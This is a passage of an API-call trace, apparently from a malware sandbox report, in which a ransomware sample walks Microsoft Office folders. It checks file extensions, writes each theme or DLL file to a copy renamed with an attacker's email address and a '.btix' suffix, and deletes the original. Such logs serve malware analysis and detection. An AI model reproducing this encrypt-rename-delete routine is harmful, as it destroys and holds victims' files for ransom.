Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx")) returned 1 [0159.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0159.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0159.320] lstrlenW (lpString=".doc") returned 4 [0159.320] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0159.320] lstrlenW (lpString=".docx") returned 5 [0159.320] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0159.320] lstrlenW (lpString=".pdf") returned 4 [0159.320] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0159.320] lstrlenW (lpString=".xls") returned 4 [0159.320] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0159.320] lstrlenW (lpString=".xlsx") returned 5 [0159.320] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0159.320] lstrlenW (lpString=".ppt") returned 4 [0159.321] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0159.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0159.321] lstrlenW (lpString=".zip") returned 4 [0159.321] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0159.321] lstrlenW (lpString=".rar") returned 4 [0159.321] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0159.321] lstrlenW (lpString=".bz2") returned 4 [0159.321] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0159.321] lstrlenW (lpString=".7z") returned 3 [0159.321] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0159.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0159.321] lstrlenW (lpString=".dbf") returned 4 [0159.321] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0159.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0159.321] lstrlenW (lpString=".1cd") returned 4 [0159.321] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0159.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0159.321] lstrlenW (lpString=".jpg") returned 4 [0159.321] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0159.321] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.321] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0159.322] GetLastError () returned 0x0 [0159.322] ReadFile (in: hFile=0x364, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0xd44b, lpOverlapped=0x0) returned 1 [0159.323] WriteFile (in: hFile=0x338, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xd450, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xd450, lpOverlapped=0x0) returned 1 [0159.325] ReadFile (in: hFile=0x364, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.325] WriteFile (in: hFile=0x338, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xf0, lpOverlapped=0x0) returned 1 [0159.325] SetEndOfFile (hFile=0x338) returned 1 [0159.325] CloseHandle (hObject=0x338) returned 1 [0159.325] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.325] SetEndOfFile (hFile=0x364) returned 1 [0159.326] CloseHandle (hObject=0x364) returned 1 [0159.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.327] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx")) returned 1 [0159.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0159.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0159.327] lstrlenW (lpString=".doc") returned 4 [0159.327] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0159.327] lstrlenW (lpString=".docx") returned 5 [0159.327] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0159.327] lstrlenW (lpString=".pdf") returned 4 [0159.327] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0159.327] lstrlenW (lpString=".xls") returned 4 [0159.327] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0159.327] lstrlenW (lpString=".xlsx") returned 5 [0159.327] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0159.328] lstrlenW (lpString=".ppt") returned 4 [0159.328] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0159.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0159.328] lstrlenW (lpString=".zip") returned 4 [0159.328] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0159.328] lstrlenW (lpString=".rar") returned 4 [0159.328] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0159.328] lstrlenW (lpString=".bz2") returned 4 [0159.328] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0159.328] lstrlenW (lpString=".7z") returned 3 [0159.328] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0159.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0159.328] lstrlenW (lpString=".dbf") returned 4 [0159.328] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0159.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0159.328] lstrlenW (lpString=".1cd") returned 4 [0159.328] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0159.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0159.328] lstrlenW (lpString=".jpg") returned 4 [0159.328] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0159.328] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.329] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0159.348] GetLastError () returned 0x0 [0159.348] ReadFile (in: hFile=0x364, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x56208, lpOverlapped=0x0) returned 1 [0159.354] WriteFile (in: hFile=0x2fc, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x56210, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x56210, lpOverlapped=0x0) returned 1 [0159.360] ReadFile (in: hFile=0x364, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.360] WriteFile (in: hFile=0x2fc, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xfa, lpOverlapped=0x0) returned 1 [0159.360] SetEndOfFile (hFile=0x2fc) returned 1 [0159.360] CloseHandle (hObject=0x2fc) returned 1 [0159.360] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.361] SetEndOfFile (hFile=0x364) returned 1 [0159.363] CloseHandle (hObject=0x364) returned 1 [0159.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.364] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx")) returned 1 [0159.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0159.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0159.364] lstrlenW (lpString=".doc") returned 4 [0159.364] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0159.364] lstrlenW (lpString=".docx") returned 5 [0159.364] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0159.364] lstrlenW (lpString=".pdf") returned 4 [0159.364] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0159.364] lstrlenW (lpString=".xls") returned 4 [0159.364] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0159.365] lstrlenW (lpString=".xlsx") returned 5 [0159.365] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0159.365] lstrlenW (lpString=".ppt") returned 4 [0159.365] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0159.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0159.365] lstrlenW (lpString=".zip") returned 4 [0159.365] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0159.365] lstrlenW (lpString=".rar") returned 4 [0159.365] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0159.365] lstrlenW (lpString=".bz2") returned 4 [0159.365] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0159.365] lstrlenW (lpString=".7z") returned 3 [0159.365] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0159.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0159.365] lstrlenW (lpString=".dbf") returned 4 [0159.365] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0159.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0159.365] lstrlenW (lpString=".1cd") returned 4 [0159.365] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0159.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0159.365] lstrlenW (lpString=".jpg") returned 4 [0159.365] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0159.610] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.610] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0159.611] GetLastError () returned 0x0 [0159.611] ReadFile (in: hFile=0x394, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0xb543, lpOverlapped=0x0) returned 1 [0159.612] WriteFile (in: hFile=0x300, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xb550, lpOverlapped=0x0) returned 1 [0159.614] ReadFile (in: hFile=0x394, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.614] WriteFile (in: hFile=0x300, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xf2, lpOverlapped=0x0) returned 1 [0159.614] SetEndOfFile (hFile=0x300) returned 1 [0159.614] CloseHandle (hObject=0x300) returned 1 [0159.614] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.614] SetEndOfFile (hFile=0x394) returned 1 [0159.615] CloseHandle (hObject=0x394) returned 1 [0159.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.615] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx")) returned 1 [0159.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0159.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0159.616] lstrlenW (lpString=".doc") returned 4 [0159.616] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0159.616] lstrlenW (lpString=".docx") returned 5 [0159.616] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0159.616] lstrlenW (lpString=".pdf") returned 4 [0159.616] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0159.616] lstrlenW (lpString=".xls") returned 4 [0159.616] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0159.616] lstrlenW (lpString=".xlsx") returned 5 [0159.616] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0159.616] lstrlenW (lpString=".ppt") returned 4 [0159.616] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0159.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0159.616] lstrlenW (lpString=".zip") returned 4 [0159.616] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0159.616] lstrlenW (lpString=".rar") returned 4 [0159.616] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0159.616] lstrlenW (lpString=".bz2") returned 4 [0159.616] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0159.616] lstrlenW (lpString=".7z") returned 3 [0159.616] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0159.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0159.616] lstrlenW (lpString=".dbf") returned 4 [0159.616] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0159.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0159.616] lstrlenW (lpString=".1cd") returned 4 [0159.617] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0159.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0159.617] lstrlenW (lpString=".jpg") returned 4 [0159.617] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0159.617] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.617] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0159.618] GetLastError () returned 0x0 [0159.618] ReadFile (in: hFile=0x394, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x2d60, lpOverlapped=0x0) returned 1 [0159.619] WriteFile (in: hFile=0x300, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0159.620] ReadFile (in: hFile=0x394, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.620] WriteFile (in: hFile=0x300, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x116, lpOverlapped=0x0) returned 1 [0159.620] SetEndOfFile (hFile=0x300) returned 1 [0159.620] CloseHandle (hObject=0x300) returned 1 [0159.620] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.620] SetEndOfFile (hFile=0x394) returned 1 [0159.621] CloseHandle (hObject=0x394) returned 1 [0159.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll")) returned 1 [0159.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0159.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0159.622] lstrlenW (lpString=".doc") returned 4 [0159.622] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.622] lstrlenW (lpString=".docx") returned 5 [0159.622] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.622] lstrlenW (lpString=".pdf") returned 4 [0159.622] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.622] lstrlenW (lpString=".xls") returned 4 [0159.622] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.622] lstrlenW (lpString=".xlsx") returned 5 [0159.622] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.622] lstrlenW (lpString=".ppt") returned 4 [0159.622] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0159.622] lstrlenW (lpString=".zip") returned 4 [0159.622] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.622] lstrlenW (lpString=".rar") returned 4 [0159.622] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.622] lstrlenW (lpString=".bz2") returned 4 [0159.622] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.622] lstrlenW (lpString=".7z") returned 3 [0159.622] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0159.622] lstrlenW (lpString=".dbf") returned 4 [0159.623] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0159.623] lstrlenW (lpString=".1cd") returned 4 [0159.623] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0159.623] lstrlenW (lpString=".jpg") returned 4 [0159.623] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.623] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.623] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0159.623] GetLastError () returned 0x0 [0159.623] ReadFile (in: hFile=0x394, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0159.625] WriteFile (in: hFile=0x300, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0159.626] ReadFile (in: hFile=0x394, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.626] WriteFile (in: hFile=0x300, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x112, lpOverlapped=0x0) returned 1 [0159.626] SetEndOfFile (hFile=0x300) returned 1 [0159.626] CloseHandle (hObject=0x300) returned 1 [0159.626] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.626] SetEndOfFile (hFile=0x394) returned 1 [0159.627] CloseHandle (hObject=0x394) returned 1 [0159.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.627] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll")) returned 1 [0159.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0159.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0159.628] lstrlenW (lpString=".doc") returned 4 [0159.628] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.628] lstrlenW (lpString=".docx") returned 5 [0159.628] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.628] lstrlenW (lpString=".pdf") returned 4 [0159.628] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.628] lstrlenW (lpString=".xls") returned 4 [0159.628] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.628] lstrlenW (lpString=".xlsx") returned 5 [0159.628] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.628] lstrlenW (lpString=".ppt") returned 4 [0159.628] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0159.628] lstrlenW (lpString=".zip") returned 4 [0159.628] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.628] lstrlenW (lpString=".rar") returned 4 [0159.628] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.628] lstrlenW (lpString=".bz2") returned 4 [0159.628] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.628] lstrlenW (lpString=".7z") returned 3 [0159.628] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0159.628] lstrlenW (lpString=".dbf") returned 4 [0159.628] 